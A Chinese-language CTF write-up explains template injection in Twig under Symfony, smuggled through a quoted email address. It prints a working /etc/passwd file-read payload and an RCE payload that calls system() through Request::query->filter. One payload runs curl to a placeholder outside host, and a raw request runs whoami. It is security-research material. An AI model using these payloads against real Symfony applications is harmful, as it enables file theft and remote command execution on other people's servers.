上周末做了volgactf, 里面有道twig 的模板注入还是比较有意思的,我瞅了一天多想找RCE的链,但是由于菜没找到,队友不到一个多小时找到了读任意文件的方法。队友太强了.jpg 我菜爆了.jpg
先看结论 twig with symfony ssti 有两种利用方式(单独twig无法利用下面的方法)
- 任意文件读取
{{'/etc/passwd'|file_excerpt(-1,-1)}}
- RCE
{{app.request.query.filter(0,'curl${IFS}x.x.x.x:8090',1024,{'options':'system'})}}
题目描述
题目连接http://newsletter.q.2020.volgactf.ru/
题目给了源码
1 |
|
通过源码可以看到,传一个邮件地址,然后截取@前面的username,插入到模板,造成模板注入。
首先一个合法的email地址是什么样的?
一种方法就是去翻rfc
https://tools.ietf.org/html/rfc5321#section-4.5.3.1.1
从上图可以看到local-part 可以是Quoted-string,双引号中间的内容QcontentSMTP,可以是\x32-\x126
也可以是32-126 的ascci 中间不能包含"
(32) \
(92).
那么我们就可以得出一个结论了合法的email地址可以是
"
+ 非双引号+非反斜杠 "
另一种方法是去翻源码
https://github.com/php/php-src/blob/master/ext/filter/logical_filters.c#L647
1 | ^(?!(?:(?:\x22?\x5C[\x00-\x7E]\x22?)|(?:\x22?[^\x5C\x22]\x22?)){255,})(?!(?:(?:\x22?\x5C[\x00-\x7E]\x22?)|(?:\x22?[^\x5C\x22]\x22?)){65,}@)(?:(?:[\x21\x23-\x27\x2A\x2B\x2D\x2F-\x39\x3D\x3F\x5E-\x7E]+)|(?:\x22(?:[\x01-\x08\x0B\x0C\x0E-\x1F\x21\x23-\x5B\x5D-\x7F]|(?:\x5C[\x00-\x7F]))*\x22))(?:\.(?:(?:[\x21\x23-\x27\x2A\x2B\x2D\x2F-\x39\x3D\x3F\x5E-\x7E]+)|(?:\x22(?:[\x01-\x08\x0B\x0C\x0E-\x1F\x21\x23-\x5B\x5D-\x7F]|(?:\x5C[\x00-\x7F]))*\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\]))$ |
好像不太好看懂!决定正面搞一下那个表达式
x(?!y)
仅仅当’x’后面不跟着’y’时匹配’x’,这被称为正向否定查找。
例如,仅仅当这个数字后面没有跟小数点的时候,/\d+(?!.)/ 匹配一个数字。正则表达式/\d+(?!.)/.exec(“3.141”)匹配‘141’而不是‘3.141’
(?:x)
匹配 ‘x’ 但是不记住匹配项。这种括号叫作非捕获括号,使得你能够定义与正则表达式运算符一起使用的子表达式。看看这个例子
/(?:foo){1,2}/
。如果表达式是/foo{1,2}/
,{1,2}
将只应用于 ‘foo’ 的最后一个字符 ‘o’。如果使用非捕获括号,则{1,2}
会应用于整个 ‘foo’ 单词
找到了一个网站https://www.debuggex.com/ 可以进行可视化显示
意思是开头
- 不能是除\x7f的字符255+
- 不能是@前面65+
手动测试一下
1 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"@c.om |
下面不行 可能开头不满足
1 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"@c.om |
虽然php源码里判断了最大长度是320,由于255的限制我觉得@前最大长度也就是254.
测试发现最大的长度是258,@c.c
还需要四个
我们来验证一下
到这里我们什么是合法的email地址的问题基本解决了,下一步是怎么回显?服务器会渲染之后的模板发到邮箱里面,我们怎么才能看到呢?
- 注册邮箱
- 大公司的邮箱不许有特殊字符,而且注册比较麻烦
- 临时邮箱也不支持全部的字符,有的设置不支持自定义用户名https://temp-mail.org/en/ 这个临时支持自定义用户名
- 自己搭建STMP服务器
1 | from __future__ import print_function |
然后再设置DNS mx解析到你vps的ip即可。
利用方法
比赛之前能搜到的的payload是
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
但是这个payload只能在1.x能利用,因为1.x有三个全局变量
The following variables are always available in templates:
_self
: references the current template;_context
: references the current context;_charset
: references the current charset.
对应的代码是
1 | protected $specialVars = [ |
2.x 及3.x 以后
The following variables are always available in templates:
_self
: references the current template name;_context
: references the current context;_charset
: references the current charset.
_self
不再试$this
而是template name 只是个String
1 | private $specialVars = [ |
又搜了一会,还是搜不到,然后就硬着头皮下了源码去找。
首先去找了文档,看了有没有能够能执行php代码的标签,发现没有,然后又试了include 发现也不行。无意间发现了除了上面三个全局变量以外,在Symfony环境下还有个全局变量app,然后想以这个为突破口找到rce的链,但是由于菜,也没有找到。在我弃疗之后,队友通过symfony内置的filters,能够读任意文件,flag在/etc/passwd 里藏着,我猜可能出题人也没找到RCE的方法。今早看到了出题人的writeup,果然有大佬成功搞到了RCE,就是通过app这个方向搞下去的。
任意文件读取
除了twig自带的Filters, symfony 也有实现了一些filters
这次利用的对象就是file_excerpt
所以payload 可以是
1 | "{{ '/etc/passwd'|file_excerpt(-1,-1)}}"@xxxx.com |
看一下file_excerpt 的实现
如果有文件上传,结合上phar进行反序列化然后RCE也是有可能的。
RCE
The
app
variable (which is an instance ofAppVariable
) gives you access to these variables:
app.user
The current user object or
null
if the user is not authenticated.
app.request
The
Request
object that stores the current request data (depending on your application, this can be a sub-request or a regular request).
app.request
是Symfony\Component\HttpFoundation\Request
Object
他的query 和 request这些属性都是可以公开访问的, 而且都是ParameterBag
类型的
ParameterBag
有个 filter方法
1 | public function filter(string $key, $default = null, int $filter = FILTER_DEFAULT, $options = []) |
1 | public function get(string $key, $default = null) |
$this-parameters
会在query 初始化的时候赋值$this->query = new ParameterBag($query);
就是$_GET
到这里就是filter_var($value, $filter, $options)
中的三个参数都能控制
可以设置个回调函数为system,FILTER_CALLBACK
的值为1024
php > echo FILTER_CALLBACK;
1024
php >
数组参数可以通过{'key':'value'}
传递。
所以payload 可以这样构造
1 | "{{app.request.query.filter(0,'id',1024,{'options':'system'})}}"@sometimenaive.com |
这样可以执行成功
但是
1 | "{{app.request.query.filter(0,'whoami',1024,{'options':'system'})}}".""@sometimenaive.com |
远程爆500.,可能是发邮件的时候GG了。应该就是发邮件的时候有问题
1 | "{{app.request.query.filter(0,'curl${IFS}x.x.x.x:8090',1024,{'options':'system'})}}".""@sometimenaive.com |
上面的payload虽然爆500但是还是可以接收到请求的。
上面是使用默认值给system传参数,如果通过GET传参数的方式,可以有回显的。
1 | POST /subscribe?0=whoami HTTP/1.1 |
当然app.request.request
应该也是可以的。